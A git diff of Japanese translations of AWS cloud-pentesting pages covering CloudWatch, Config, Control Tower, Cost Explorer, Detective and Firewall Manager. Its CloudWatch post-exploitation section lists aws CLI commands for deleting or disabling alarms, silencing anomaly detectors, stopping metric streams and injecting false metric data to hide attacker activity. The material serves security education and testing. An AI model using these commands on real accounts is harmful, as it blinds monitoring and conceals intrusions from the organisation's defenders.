---------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **ログストリーム** | **同じソース** を共有する **ログイベント** のシーケンス | +| **ログストリーム** | **同じソース**を共有する **ログイベント** のシーケンス | | **サブスクリプションフィルター** | 特定のロググループ内のイベントに一致する **フィルターパターンを定義し**、それらを Kinesis Data Firehose ストリーム、Kinesis ストリーム、または Lambda 関数に送信します | ### CloudWatch Monitoring & Events -CloudWatch の **基本** は、データを **5 分ごとに集約** します(**詳細** は **1 分ごとに集約** します)。集約後、アラームの閾値を **チェック** し、トリガーする必要があるかどうかを確認します。\ +CloudWatch の **基本** は、データを **5 分ごと** に集約します(**詳細** は **1 分ごと** に集約します)。集約後、アラームの閾値を **チェック** し、トリガーする必要があるかどうかを確認します。\ その場合、CloudWatch はイベントを送信し、自動アクション(AWS Lambda 関数、SNS トピック、SQS キュー、Kinesis ストリーム)を実行する準備ができます。 ### Agent Installation マシン/コンテナ内にエージェントをインストールして、ログを自動的に CloudWatch に送信できます。 -- **ロールを作成** し、**インスタンスに添付** して、CloudWatch がインスタンスからデータを収集し、AWS Systems Manager SSM と対話できるようにする権限を付与します(CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM)。 -- **エージェントをダウンロード** し、**EC2 インスタンスにインストール** します ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip))。EC2 内からダウンロードするか、AWS Systems Manager を使用して自動的にインストールできます。パッケージ AWS-ConfigureAWSPackage を選択します。 -- **CloudWatch Agent を構成** し、**起動** します。 +- **ロールを作成**し、**インスタンスに添付**して、CloudWatch がインスタンスからデータを収集し、AWS Systems Manager SSM と対話できるようにする権限を付与します(CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM)。 +- **エージェントをダウンロード**し、**EC2 インスタンスにインストール**します ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip))。EC2 内からダウンロードするか、AWS Systems Manager を使用して自動的にインストールできます。パッケージ AWS-ConfigureAWSPackage を選択します。 +- **CloudWatch Agent を構成**し、**起動**します。 ロググループには多くのストリームがあります。ストリームには多くのイベントがあります。そして、各ストリーム内のイベントは順序が保証されています。 @@ -212,22 +212,22 @@ aws events describe-event-source --name aws events list-replays aws events list-api-destinations aws events list-event-buses ``` -## Post-Exploitation / Bypass +## ポストエクスプロイテーション / バイパス ### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`** -この権限を持つ攻撃者は、組織の監視およびアラートインフラストラクチャを大きく損なう可能性があります。既存のアラームを削除することで、攻撃者は管理者に重要なパフォーマンスの問題、セキュリティ侵害、または運用の失敗を通知する重要なアラートを無効にすることができます。さらに、メトリックアラームを作成または変更することで、攻撃者は誤ったアラートで管理者を誤導したり、正当なアラームを無効にしたりすることができ、悪意のある活動を隠蔽し、実際のインシデントへの迅速な対応を妨げることができます。 +この権限を持つ攻撃者は、組織の監視およびアラートインフラストラクチャを大幅に損なう可能性があります。既存のアラームを削除することで、攻撃者は管理者に重要なパフォーマンスの問題、セキュリティ侵害、または運用の失敗を通知する重要なアラートを無効にすることができます。さらに、メトリックアラームを作成または変更することで、攻撃者は誤ったアラートで管理者を誤導したり、正当なアラームを無効にしたりすることができ、悪意のある活動を隠蔽し、実際のインシデントに対する迅速な対応を妨げることができます。 -さらに、**`cloudwatch:PutCompositeAlarm`** 権限を持つ攻撃者は、複合アラームAが複合アラームBに依存し、複合アラームBも複合アラームAに依存するような複合アラームのループまたはサイクルを作成することができます。このシナリオでは、サイクルの一部である複合アラームを削除することは不可能です。なぜなら、削除したいアラームに依存する複合アラームが常に存在するからです。 +さらに、**`cloudwatch:PutCompositeAlarm`** 権限を持つ攻撃者は、コンポジットアラームAがコンポジットアラームBに依存し、コンポジットアラームBもコンポジットアラームAに依存するようなコンポジットアラームのループまたはサイクルを作成することができます。このシナリオでは、サイクルの一部であるコンポジットアラームを削除することは不可能です。なぜなら、削除したいアラームに依存するコンポジットアラームが常に存在するからです。 ```bash aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name --comparison-operator --evaluation-periods [--datapoints-to-alarm ] [--threshold ] [--alarm-description ] [--alarm-actions ] [--metric-name ] [--namespace ] [--statistic ] [--dimensions ] [--period ] aws cloudwatch delete-alarms --alarm-names aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--no-actions-enabled | --actions-enabled [--alarm-actions ] [--insufficient-data-actions ] [--ok-actions ] ] ``` -以下の例は、メトリックアラームを無効にする方法を示しています: +次の例は、メトリックアラームを無効にする方法を示しています: - このメトリックアラームは、特定のEC2インスタンスの平均CPU使用率を監視し、300秒ごとにメトリックを評価し、6つの評価期間(合計30分)を必要とします。平均CPU使用率がこれらの期間のうち少なくとも4つで60%を超えると、アラームがトリガーされ、指定されたSNSトピックに通知が送信されます。 -- 閾値を99%を超えるように変更し、期間を10秒に設定し、評価期間を8640に設定すると(8640期間の10秒は1日に相当)、CPU使用率が24時間全体で10秒ごとに99%を超える必要があり、アラームがトリガーされます。 +- 閾値を99%を超えるように変更し、期間を10秒に設定し、評価期間を8640(8640期間の10秒は1日に相当)に設定し、アラームのデータポイントも8640に設定すると、CPU使用率が24時間全体で10秒ごとに99%を超える必要があり、アラームがトリガーされます。 {{#tabs }} {{#tab name="Original Metric Alarm" }} @@ -279,13 +279,13 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [-- {{#endtab }} {{#endtabs }} -**潜在的な影響**: 重要なイベントに対する通知の欠如、潜在的な未検出の問題、誤警報、正当な警報の抑制、そして実際のインシデントの検出を見逃す可能性。 +**潜在的な影響**: 重要なイベントの通知がない、潜在的な未検出の問題、誤警報、正当な警報の抑制、実際のインシデントの検出を見逃す可能性。 ### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`** -アラームアクションを削除することで、攻撃者はアラーム状態に達したときに管理者への通知や自動スケーリング活動のトリガーなど、重要な警告や自動応答が発動するのを防ぐことができます。不適切にアラームアクションを有効化または再有効化することも、以前に無効化されたアクションを再活性化したり、どのアクションがトリガーされるかを変更したりすることで、予期しない動作を引き起こし、インシデント対応に混乱や誤解を招く可能性があります。 +アラームアクションを削除することで、攻撃者はアラーム状態に達したときに管理者への通知や自動スケーリング活動のトリガーなど、重要な警報や自動応答が発動するのを防ぐことができます。不適切にアラームアクションを有効化または再有効化することも、以前に無効化されたアクションを再活性化したり、どのアクションがトリガーされるかを変更したりすることで、予期しない動作を引き起こし、インシデント対応において混乱や誤方向を招く可能性があります。 -さらに、権限を持つ攻撃者はアラーム状態を操作し、管理者を気を散らせたり混乱させたりするために偽のアラームを作成したり、進行中の悪意のある活動や重大なシステム障害を隠すために正当なアラームを無効にしたりすることができます。 +さらに、権限を持つ攻撃者はアラーム状態を操作し、管理者を混乱させるために偽のアラームを作成したり、進行中の悪意のある活動や重大なシステム障害を隠すために正当なアラームを無効にしたりすることができます。 - **`SetAlarmState`** をコンポジットアラームで使用すると、コンポジットアラームが実際の状態に戻ることは保証されません。子アラームのいずれかが状態を変更したときにのみ、実際の状態に戻ります。また、設定を更新すると再評価されます。 ```bash @@ -293,16 +293,16 @@ aws cloudwatch disable-alarm-actions --alarm-names aws cloudwatch enable-alarm-actions --alarm-names aws cloudwatch set-alarm-state --alarm-name --state-value --state-reason [--state-reason-data ] ``` -**潜在的な影響**: 重要なイベントに対する通知の欠如、潜在的な未検出の問題、偽のアラート、正当なアラートの抑制、そして実際のインシデントの検出を見逃す可能性。 +**潜在的な影響**: 重要なイベントに対する通知の欠如、潜在的な未検出の問題、誤警報、正当な警報の抑制、そして実際のインシデントの検出を見逃す可能性。 ### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`** -攻撃者は、メトリックデータの異常パターンや異常を検出し、応答する能力を妨害することができる。既存の異常検出器を削除することで、攻撃者は重要なアラート機構を無効にでき、作成または変更することで、監視を混乱させたり圧倒させたりするために誤設定や偽のポジティブを作成することができる。 +攻撃者は、メトリックデータの異常パターンや異常を検出し、対応する能力を妨害することができます。既存の異常検出器を削除することで、攻撃者は重要なアラート機構を無効にすることができ、作成または変更することで、監視を混乱させたり圧倒させたりするために誤設定や誤検知を引き起こすことができます。 ```bash aws cloudwatch delete-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat ] aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ] ``` -以下の例は、メトリック異常検出器を無効にする方法を示しています。このメトリック異常検出器は、特定のEC2インスタンスの平均CPU使用率を監視しており、単に「ExcludedTimeRanges」パラメータを希望の時間範囲で追加するだけで、その期間中に異常検出器が関連データを分析または警告しないことを保証するのに十分です。 +次の例は、メトリック異常検出器を無効にする方法を示しています。このメトリック異常検出器は、特定のEC2インスタンスの平均CPU使用率を監視しており、単に「ExcludedTimeRanges」パラメータを希望の時間範囲で追加するだけで、その期間中に異常検出器が関連データを分析または警告しないことを保証するのに十分です。 {{#tabs }} {{#tab name="Original Metric Anomaly Detector" }} @@ -360,7 +360,7 @@ aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace aws cloudwatch put-dashboard --dashboard-name --dashboard-body ``` -**潜在的な影響**: 監視の可視性の喪失と誤解を招く情報。 +**潜在的影響**: 監視の可視性の喪失と誤解を招く情報。 ### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`** @@ -379,15 +379,15 @@ aws cloudwatch put-managed-insight-rules --managed-rules aws cloudwatch disable-insight-rules --rule-names aws cloudwatch enable-insight-rules --rule-names ``` -**潜在的な影響**: オペレーションチームの混乱を引き起こし、実際の問題への対応が遅れ、誤ったアラートに基づく不必要な行動を引き起こす。 +**潜在的影響**: オペレーションチームの混乱を招き、実際の問題への対応が遅れ、誤ったアラートに基づく不必要な行動を引き起こす。 ### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`** -**`cloudwatch:DeleteMetricStream`** 、**`cloudwatch:PutMetricStream`** の権限を持つ攻撃者は、メトリックデータストリームを作成および削除でき、セキュリティ、監視、データの整合性が損なわれる可能性があります: +**`cloudwatch:DeleteMetricStream`** 、 **`cloudwatch:PutMetricStream`** の権限を持つ攻撃者は、メトリックデータストリームを作成および削除でき、セキュリティ、監視、データの整合性が損なわれる可能性があります: - **悪意のあるストリームの作成**: 機密データを不正な宛先に送信するメトリックストリームを作成する。 - **リソースの操作**: 過剰なデータを持つ新しいメトリックストリームの作成は、多くのノイズを生み出し、誤ったアラートを引き起こし、真の問題を隠す可能性があります。 -- **監視の中断**: メトリックストリームを削除することで、攻撃者は監視データの継続的な流れを妨害します。このようにして、彼らの悪意のある活動は効果的に隠されます。 +- **監視の中断**: メトリックストリームを削除することで、攻撃者は監視データの継続的な流れを中断させます。このようにして、彼らの悪意のある活動は効果的に隠されます。 同様に、**`cloudwatch:PutMetricData`** の権限を持つことで、メトリックストリームにデータを追加することが可能になります。これにより、不適切なデータの量が原因でDoSが発生し、完全に無用になる可能性があります。 ```bash @@ -395,20 +395,20 @@ aws cloudwatch delete-metric-stream --name aws cloudwatch put-metric-stream --name [--include-filters ] [--exclude-filters ] --firehose-arn --role-arn --output-format aws cloudwatch put-metric-data --namespace [--metric-data ] [--metric-name ] [--timestamp ] [--unit ] [--value ] [--dimensions ] ``` -EC2インスタンスにおけるCPU使用率の70%に対応するデータを追加する例: +特定のEC2インスタンスに対するCPU使用率の70%に対応するデータを追加する例: ```bash aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg" ``` -**潜在的な影響**: 監視データの流れが中断され、異常やインシデントの検出に影響を与え、リソースの操作や過剰なメトリックストリームの作成によるコストの増加が発生する可能性があります。 +**潜在的影響**: 監視データの流れの中断、異常やインシデントの検出への影響、リソースの操作、過剰なメトリックストリームの作成によるコストの増加。 ### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`** -攻撃者は、影響を受けたメトリックデータストリームの流れを制御します(リソース制限がない場合はすべてのデータストリーム)。権限 **`cloudwatch:StopMetricStreams`** を使用することで、攻撃者は重要なメトリックストリームを停止させることにより、自らの悪意のある活動を隠すことができます。 +攻撃者は、影響を受けたメトリックデータストリームの流れを制御します(リソース制限がない場合はすべてのデータストリーム)。権限 **`cloudwatch:StopMetricStreams`** を使用することで、攻撃者は重要なメトリックストリームを停止することにより、自らの悪意のある活動を隠すことができます。 ```bash aws cloudwatch stop-metric-streams --names aws cloudwatch start-metric-streams --names ``` -**潜在的な影響**: 監視データの流れの中断が発生し、異常やインシデントの検出に影響を与える。 +**潜在的な影響**: 監視データの流れの中断により、異常やインシデントの検出に影響を与える可能性があります。 ### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md index 703fbc7ba..9a403d95f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md @@ -4,19 +4,19 @@ ## AWS Config -AWS Config **はリソースの変更をキャプチャします**。したがって、Configによってサポートされているリソースに対する変更はすべて記録され、**何が変更されたかと他の有用なメタデータが記録され、すべては構成アイテムとして知られるファイルに保持されます**。このサービスは**リージョン固有**です。 +AWS Config **リソースの変更をキャプチャ**します。したがって、Configによってサポートされているリソースに対する変更はすべて記録され、**何が変更されたかとその他の有用なメタデータが記録され、構成アイテムとして知られるファイルに保持されます**。このサービスは**リージョン固有**です。 -構成アイテム、または**CI**として知られるものは、AWS Configの重要なコンポーネントです。これは、**構成情報、関係情報、およびサポートされているリソースの時点スナップショットビューとしての他のメタデータを保持するJSONファイルで構成されています**。AWS Configがリソースのために記録できるすべての情報はCI内にキャプチャされます。CIは、**サポートされているリソースの構成に変更が加えられるたびに**作成されます。影響を受けたリソースの詳細を記録するだけでなく、AWS Configは、変更が他のリソースにも影響を与えなかったことを確認するために、直接関連するリソースのCIも記録します。 +構成アイテム、または**CI**として知られるものは、AWS Configの重要なコンポーネントです。これは、**構成情報、関係情報、およびサポートされているリソースの時点スナップショットビューとしてのその他のメタデータを保持するJSONファイル**で構成されています。AWS Configがリソースのために記録できるすべての情報はCI内にキャプチャされます。CIは、サポートされているリソースの構成に変更が加えられるたびに**毎回**作成されます。影響を受けたリソースの詳細を記録するだけでなく、AWS Configは、変更が他のリソースにも影響を与えなかったことを確認するために、直接関連するリソースのCIも記録します。 - **メタデータ**: 構成アイテム自体に関する詳細を含みます。バージョンIDと構成IDがあり、これによりCIを一意に識別します。他の情報には、同じリソースに対して既に記録された他のCIと比較するためのMD5Hashが含まれる場合があります。 -- **属性**: 実際のリソースに対する一般的な**属性情報を保持します**。このセクション内には、一意のリソースIDとリソースに関連付けられた任意のキー値タグもあります。リソースタイプもリストされています。たとえば、これがEC2インスタンスのCIであれば、リストされるリソースタイプは、そのEC2インスタンスのネットワークインターフェースやエラスティックIPアドレスである可能性があります。 -- **関係**: リソースが持つ可能性のある接続された**関係に関する情報を保持します**。このセクション内では、このリソースが持つ他のリソースとの関係の明確な説明が表示されます。たとえば、CIがEC2インスタンスのものであれば、関係セクションには、EC2インスタンスが存在するサブネットとともにVPCへの接続が表示されるかもしれません。 -- **現在の構成**: これは、AWS CLIによって行われたdescribeまたはlist API呼び出しを実行した場合に生成されるのと同じ情報を表示します。AWS Configは、同じ情報を取得するために同じAPI呼び出しを使用します。 +- **属性**: 実際のリソースに対する一般的な**属性情報を保持します**。このセクション内には、ユニークなリソースIDとリソースに関連付けられた任意のキー値タグもあります。リソースタイプもリストされています。たとえば、これがEC2インスタンスのCIである場合、リストされるリソースタイプは、そのEC2インスタンスのネットワークインターフェースやエラスティックIPアドレスである可能性があります。 +- **関係**: リソースが持つ可能性のある接続された**関係に関する情報を保持します**。したがって、このセクション内では、このリソースが持つ他のリソースとの関係の明確な説明が表示されます。たとえば、CIがEC2インスタンスのものである場合、関係セクションには、EC2インスタンスが存在するサブネットとともにVPCへの接続が表示されるかもしれません。 +- **現在の構成:** これは、AWS CLIによって行われたdescribeまたはlist API呼び出しを実行した場合に生成されるのと同じ情報を表示します。AWS Configは、同じ情報を取得するために同じAPI呼び出しを使用します。 - **関連イベント**: これはAWS CloudTrailに関連しています。これは、**このCIの作成を引き起こした変更に関連するAWS CloudTrailイベントIDを表示します**。リソースに対して行われた変更ごとに新しいCIが作成されます。その結果、異なるCloudTrailイベントIDが作成されます。 **構成履歴**: 構成アイテムのおかげで、リソースの構成履歴を取得することが可能です。構成履歴は6時間ごとに配信され、特定のリソースタイプのすべてのCIが含まれます。 -**構成ストリーム**: 構成アイテムは、データの分析を可能にするためにSNSトピックに送信されます。 +**構成ストリーム**: 構成アイテムはSNSトピックに送信され、データの分析を可能にします。 **構成スナップショット**: 構成アイテムは、すべてのサポートされているリソースの時点スナップショットを作成するために使用されます。 @@ -26,7 +26,7 @@ AWS Config **はリソースの変更をキャプチャします**。したが - 変更を加えると、たとえばセキュリティグループやバケットアクセス制御リストに対して —> AWS Configによって取得されるイベントとして発火します - すべてをS3バケットに保存します -- 設定によっては、何かが変更されるとすぐにラムダ関数をトリガーするか、定期的にAWS Config設定を確認するためにラムダ関数をスケジュールすることができます +- 設定によっては、何かが変更されると、それがラムダ関数をトリガーするか、ラムダ関数をスケジュールしてAWS Config設定を定期的に確認することができます - ラムダはConfigにフィードバックします - ルールが破られた場合、ConfigはSNSを発火させます @@ -34,8 +34,8 @@ AWS Config **はリソースの変更をキャプチャします**。したが ### Configルール -Configルールは、**リソース全体で特定のコンプライアンスチェック** **およびコントロールを強制するのに役立つ素晴らしい方法であり、各リソースタイプに対して理想的なデプロイメント仕様を採用することを可能にします**。各ルールは、**本質的にラムダ関数であり**、呼び出されるとリソースを評価し、ルールに対するコンプライアンス結果を決定するための簡単なロジックを実行します。**サポートされているリソースの1つに変更が加えられるたびに、**AWS Configは、あなたが設定した任意のConfigルールに対してコンプライアンスをチェックします。\ -AWSには、すぐに使用できるセキュリティの傘下にある**事前定義されたルール**がいくつかあります。たとえば、Rds-storage-encrypted。これは、RDSデータベースインスタンスによってストレージ暗号化が有効になっているかどうかをチェックします。Encrypted-volumes。これは、接続状態のEBSボリュームが暗号化されているかどうかを確認します。 +Configルールは、**リソース全体で特定のコンプライアンスチェック** **およびコントロールを強制するのに役立つ素晴らしい方法であり、各リソースタイプに対して理想的なデプロイメント仕様を採用することを可能にします**。各ルールは、**本質的にラムダ関数であり**、呼び出されるとリソースを評価し、ルールに対するコンプライアンス結果を決定するための簡単なロジックを実行します。**サポートされているリソースのいずれかに変更が加えられるたびに、AWS Configは、設定されたConfigルールに対するコンプライアンスをチェックします**。\ +AWSには、使用する準備が整ったセキュリティの傘下にある**事前定義されたルール**がいくつかあります。たとえば、Rds-storage-encrypted。これは、RDSデータベースインスタンスによってストレージ暗号化が有効になっているかどうかを確認します。Encrypted-volumes。これは、接続状態のEBSボリュームが暗号化されているかどうかを確認します。 - **AWS管理ルール**: 多くのベストプラクティスをカバーする事前定義されたルールのセットであり、独自のルールを設定する前にこれらのルールを確認する価値があります。ルールがすでに存在する可能性があります。 - **カスタムルール**: 特定のカスタム構成をチェックするために独自のルールを作成できます。 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md index 31c4f77e8..eef9f3ce9 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md @@ -5,21 +5,21 @@ ## Control Tower > [!NOTE] -> 要約すると、Control Towerは、組織内のすべてのアカウントに対してポリシーを定義できるサービスです。したがって、各アカウントを管理する代わりに、Control Towerからポリシーを設定し、それが適用されるようにできます。 +> 要約すると、Control Towerは、組織内のすべてのアカウントに対してポリシーを定義することを可能にするサービスです。したがって、各アカウントを管理する代わりに、Control Towerから適用されるポリシーを設定できます。 AWS Control Towerは、**Amazon Web Services (AWS)**によって提供されるサービスで、組織がAWS内で安全でコンプライアンスに準拠したマルチアカウント環境を設定および管理できるようにします。 -AWS Control Towerは、特定の**組織要件**を満たすためにカスタマイズ可能な**ベストプラクティスの青写真の事前定義セット**を提供します。これらの青写真には、AWS Single Sign-On (SSO)、AWS Config、AWS CloudTrail、AWS Service Catalogなどの事前構成されたAWSサービスと機能が含まれています。 +AWS Control Towerは、特定の**組織要件**を満たすためにカスタマイズ可能な**ベストプラクティスの青写真の事前定義されたセット**を提供します。これらの青写真には、AWS Single Sign-On (SSO)、AWS Config、AWS CloudTrail、AWS Service Catalogなどの事前構成されたAWSサービスと機能が含まれています。 AWS Control Towerを使用すると、管理者は**セキュリティ**やコンプライアンスなどの組織要件を満たす**マルチアカウント環境**を迅速に設定できます。このサービスは、アカウントやリソースを表示および管理するための中央ダッシュボードを提供し、アカウント、サービス、およびポリシーのプロビジョニングを自動化します。 さらに、AWS Control Towerは、組織要件に準拠した環境を維持するための事前構成されたポリシーのセットであるガードレールを提供します。これらのポリシーは、特定のニーズに合わせてカスタマイズできます。 -全体として、AWS Control Towerは、AWS内で安全でコンプライアンスに準拠したマルチアカウント環境の設定と管理のプロセスを簡素化し、組織がコアビジネスの目標に集中できるようにします。 +全体として、AWS Control Towerは、AWS内で安全でコンプライアンスに準拠したマルチアカウント環境の設定と管理のプロセスを簡素化し、組織がコアビジネスの目標に集中しやすくします。 ### Enumeration -Control Towerのコントロールを列挙するには、まず**組織を列挙する必要があります**: +controltowerのコントロールを列挙するには、まず**orgを列挙する必要があります**: {{#ref}} ../aws-organizations-enum.md @@ -29,7 +29,7 @@ Control Towerのコントロールを列挙するには、まず**組織を列 aws controltower list-enabled-controls --target-identifier arn:aws:organizations:::ou/ ``` > [!WARNING] -> Control Towerは、**Account factory**を使用して、**アカウント内でCloudFormationテンプレートを実行し、サービスを実行する**こともできます(権限昇格、ポストエクスプロイテーション...) +> Control Towerは**Account factory**を使用して、**アカウント内でCloudFormationテンプレートを実行し、サービスを実行**(権限昇格、ポストエクスプロイテーション...)することもできます。 ### ポストエクスプロイテーションと持続性 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md index 71bb644e4..a2cecb80c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md @@ -2,14 +2,14 @@ {{#include ../../../../banners/hacktricks-training.md}} -## コストエクスプローラーと異常検出 +## Cost Explorer と異常検出 -これにより、**AWSサービスにおける支出状況を確認**し、**異常を検出する**のに役立ちます。\ -さらに、異常検出を設定することで、AWSが**コストに異常が見つかったときに警告**してくれます。 +これにより、**AWS サービスでの支出状況を確認**し、**異常を検出する**のに役立ちます。\ +さらに、異常検出を設定することで、AWS が**コストの異常が見つかったときに警告**してくれます。 ### 予算 予算は**コストと使用状況を管理**するのに役立ちます。**閾値に達したときにアラートを受け取る**ことができます。\ -また、特定のS3バケットで使用されているGB数など、コストに関連しない監視にも使用できます。 +また、特定の S3 バケットで使用されている GB 数など、コストに関連しない監視にも使用できます。 {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md index b56c91979..9f65c84a3 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md @@ -4,9 +4,9 @@ ## Detective -**Amazon Detective**は、セキュリティ調査プロセスを効率化し、**セキュリティ問題や異常な活動の原因を分析、調査、特定する**ことを容易にします。AWSリソースからのログデータの収集を自動化し、**機械学習、統計分析、グラフ理論**を用いて相互接続されたデータセットを構築します。この設定により、セキュリティ調査の速度と効果が大幅に向上します。 +**Amazon Detective** は、セキュリティ調査プロセスを合理化し、**セキュリティ問題や異常な活動の原因を分析、調査、特定する**ことをより効率的にします。AWSリソースからのログデータの収集を自動化し、**機械学習、統計分析、グラフ理論**を用いて相互接続されたデータセットを構築します。この設定により、セキュリティ調査の速度と効果が大幅に向上します。 -このサービスは、セキュリティインシデントの詳細な探索を容易にし、セキュリティチームが問題の根本原因を迅速に理解し対処できるようにします。Amazon Detectiveは、VPCフローログ、AWS CloudTrail、Amazon GuardDutyなどのソースから膨大なデータを分析します。自動的に**リソース、ユーザー、およびその相互作用の包括的でインタラクティブなビューを生成します**。この統合された視点は、セキュリティの発見の背後にある理由を識別し、関連する過去の活動を調査し、迅速に根本原因を特定するために必要なすべての詳細とコンテキストを1か所で提供します。 +このサービスは、セキュリティインシデントの詳細な探索を容易にし、セキュリティチームが問題の根本原因を迅速に理解し対処できるようにします。Amazon Detectiveは、VPCフローログ、AWS CloudTrail、Amazon GuardDutyなどのソースから膨大なデータを分析します。自動的に**リソース、ユーザー、およびそれらの相互作用の包括的でインタラクティブなビューを生成します**。この統合された視点は、セキュリティの発見の背後にある理由を識別し、関連する過去の活動を調査し、迅速に根本原因を特定するために必要なすべての詳細とコンテキストを1か所で提供します。 ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md index dea44055b..e1188cd61 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md @@ -4,16 +4,16 @@ ## Firewall Manager -**AWS Firewall Manager** は、**AWS WAF、AWS Shield Advanced、Amazon VPC セキュリティグループおよびネットワークアクセス制御リスト (ACL)、AWS Network Firewall、AWS Route 53 Resolver DNS Firewall、サードパーティファイアウォール** の管理と保守を簡素化します。これにより、ファイアウォールルール、Shield Advanced 保護、VPC セキュリティグループ、および Network Firewall 設定を一度だけ構成でき、サービスが**これらのルールと保護をアカウントやリソース全体に自動的に適用**します。新しく追加されたリソースも含まれます。 +**AWS Firewall Manager** は、**AWS WAF、AWS Shield Advanced、Amazon VPC セキュリティグループおよびネットワークアクセス制御リスト (ACL)、AWS Network Firewall、AWS Route 53 Resolver DNS Firewall、サードパーティファイアウォール** の管理とメンテナンスを簡素化します。これにより、ファイアウォールルール、Shield Advanced 保護、VPC セキュリティグループ、および Network Firewall 設定を一度だけ構成でき、サービスが**これらのルールと保護をアカウントやリソース全体に自動的に適用**します。新しく追加されたリソースも含まれます。 このサービスは、**特定のリソースをグループ化して保護する**機能を提供します。たとえば、共通のタグを共有するリソースや、すべての CloudFront ディストリビューションなどです。Firewall Manager の大きな利点は、**新しく追加されたリソースに自動的に保護を拡張できる**ことです。 **ルールグループ**(WAF ルールのコレクション)は、AWS Firewall Manager ポリシーに組み込むことができ、特定の AWS リソース(CloudFront ディストリビューションやアプリケーションロードバランサーなど)にリンクされます。 -AWS Firewall Manager は、セキュリティグループポリシーの構成と管理を簡素化するために、**管理されたアプリケーションおよびプロトコルリスト**を提供します。これらのリストを使用すると、ポリシーによって許可または拒否されるプロトコルとアプリケーションを定義できます。管理されたリストには2種類があります: +AWS Firewall Manager は、セキュリティグループポリシーの構成と管理を簡素化するために、**管理されたアプリケーションおよびプロトコルリスト**を提供します。これらのリストを使用して、ポリシーによって許可または拒否されるプロトコルとアプリケーションを定義できます。管理されたリストには2種類があります: -- **Firewall Manager 管理リスト**: これらのリストには、**FMS-Default-Public-Access-Apps-Allowed**、**FMS-Default-Protocols-Allowed**、および **FMS-Default-Protocols-Allowed** が含まれます。これらは Firewall Manager によって管理され、一般の人々に許可または拒否されるべき一般的に使用されるアプリケーションとプロトコルが含まれています。これらを編集または削除することはできませんが、バージョンを選択することはできます。 -- **カスタム管理リスト**: これらのリストは自分で管理します。組織のニーズに合わせたカスタムアプリケーションおよびプロトコルリストを作成できます。Firewall Manager 管理リストとは異なり、これらのリストにはバージョンがありませんが、カスタムリストに対して完全な制御があり、必要に応じて作成、編集、削除できます。 +- **Firewall Manager 管理リスト**:これらのリストには、**FMS-Default-Public-Access-Apps-Allowed**、**FMS-Default-Protocols-Allowed**、および **FMS-Default-Protocols-Allowed** が含まれます。これらは Firewall Manager によって管理され、一般の人々に許可または拒否されるべき一般的に使用されるアプリケーションとプロトコルが含まれています。これらを編集または削除することはできませんが、バージョンを選択することはできます。 +- **カスタム管理リスト**:これらのリストは自分で管理します。組織のニーズに合わせたカスタムアプリケーションおよびプロトコルリストを作成できます。Firewall Manager 管理リストとは異なり、これらのリストにはバージョンがありませんが、カスタムリストに対して完全な制御があり、必要に応じて作成、編集、削除できます。 **Firewall Manager ポリシーは、ルールグループに対して「ブロック」または「カウント」アクションのみを許可**し、「許可」オプションはありません。 @@ -21,56 +21,56 @@ AWS 